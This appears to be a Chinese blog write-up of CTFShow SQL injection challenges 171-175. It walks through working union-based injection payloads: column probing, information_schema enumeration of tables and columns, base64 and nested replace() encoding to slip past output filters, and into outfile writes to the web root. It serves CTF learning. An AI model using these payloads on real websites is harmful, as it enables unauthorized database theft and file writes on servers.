CTF Show sql注入

171

在这里插入图片描述题目已经给出了拼接的语句是带有单引号的所以我们要闭合并且利用-- 或者%23注释掉后面的单引号


1' order by 3-- A

首先查询字段有多少,我试了2,3,4,到4的时候端口异常所以判断为三个字段


1' union seLect 1,2,3 -- 
1' union select 1,database(),3 -- A

然后利用sql语句确定回显点,知道回显点后我们可以利用database()函数来返回数据库的名称。
在这里插入图片描述在这里插入图片描述


1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' -- 
1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' -- 

然后利用sql语句查询表名,字段名
在这里插入图片描述在这里插入图片描述


1'union seLect 1,password,username from ctfshow_user where username='flag' --

最后利用sql查询语句得到flag
在这里插入图片描述
记住注释符-- 一定要在后面加一个空格

172

在这里插入图片描述这题和上题的区别就是加了输出过滤,username不能为flag方法和上题差不多,但是字段这里变成了2,有兴趣想实操的可以order by一下这里就不放代码了,然后查表名和字段名的sql语句也和上题类似,不作详细说明了,但要注意的是这次有两个表,你会发现查询第一个表会告诉你flag不在这里

在这里插入图片描述查询第二个表才有flag
在这里插入图片描述
附上代码


1' order by 2  --
1' union seLect 1,2 -- 
1' union seLect 1,database() -- 
1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' --
1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user' --
1'union seLect 1,password from ctfshow_user2 --

173

在这里插入图片描述
题目的意思是输出的结果不能含有flag,常见的方法可以把输出的数据进行base64加密或者hex加密然后利用工具将其解密。爆数据库名,表名,字段名都和上面相似,甚至可以说是一个妈生的,不过多解释了。

在这里插入图片描述
这里有三个表,1,2,3,根据套路1,2里面肯定是没有的,不信的话可以自己试试嗷,直接查3就可以了。
在这里插入图片描述得到了字段名username,password,盲猜flag是在password里的,但是因为不知道到底在哪,所以两个都要进行base64的转换。我不能站在答案的角度去写解题思路,这也是我觉得大多数wp不够详细的原因。(我也是小白,每次大佬跳过那些他们认为很简单的步骤我都要思考很久,叹气~)

在这里插入图片描述得出了两段base64编码,断的肯定是flag这个单词啦,长的才是真正提交的flag

代码附上!


1' order by 3  --
1' union seLect 1,2,3 -- 
1' union seLect 1,database(),3 -- 
1' union select 1,table_name,3 from information_schema.tables where table_schema='ctfshow_web' --
1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user3' --
1'union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag' -- 

174

这题其实就是不能出现flag也不能出现数字,这题的过程我只能说会一部分,前面一样的看看有多少字段,但是回显点,因为你输入下面的代码,有数字所以没法知道回显点,我试了把1换成a直接无效,我也不知道怎么办,后来我想到了利用两个database(),能查到数据库的名字,但是后面没法爆表名了。我不知道该怎么替换掉语句中的数字。但看题目有个ctfshow_user4,直接就默认那个字段是ctfshow_user4(希望有会这个整个过程的大佬在评论区教教我)

1' union seLect 1,2 -- 
1' union seLect 1,database() -- 

在这里插入图片描述后面我们知道字段名,就利用替换的思想,你不让我出现数字可以,我全换成字母这总行了吧(也不能出现flag,这里依旧要base64加密

代码附上:
上面两段是替换password和username的,最下面是sql注入语句

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE)
,'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')


replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE)
,'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')


1'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' -- 

在这里插入图片描述最后得到了加密且替换后的flag,有些大佬是自己写替换脚本的,我也是看了wp才写出来的,我反正是自己一个一个替换出来的。主要是解题思路,顺便方便我复习,大家将就看看。

175

在这里插入图片描述这次的输出过滤就很恶心了,ASCII码00-07f都被过滤,这里的解决办法就是写到网站的根目录(也是看了网上的思路才写出来的)就是在原有代代码的基础上加上into outfile '/var/www/html/ctf.txt' -- 就可以写入根目录了。但是记得根目录是
在这里插入图片描述而不是你做题的那个网页,不是这个8080后面还加了一串东西
在这里插入图片描述麻烦的就是你每次看库名,表名,列名都要去根目录下输入/ctf.txt查看,其实主要体验过程,最后的字段名必定是ctfshow_user5

附上代码:


1' order by 2  --
1' union seLect 1,2 into outfile '/var/www/html/ctf.txt' --  
1' union seLect 1,database() into outfile '/var/www/html/ctf.txt' --  
1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' into outfile '/var/www/html/ctf.txt' -- 
1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user5' into outfile '/var/www/html/ctf.txt' -- 
1'union seLect 1,password from ctfshow_user2 into outfile '/var/www/html/ctf.txt' -- 
1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- 

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值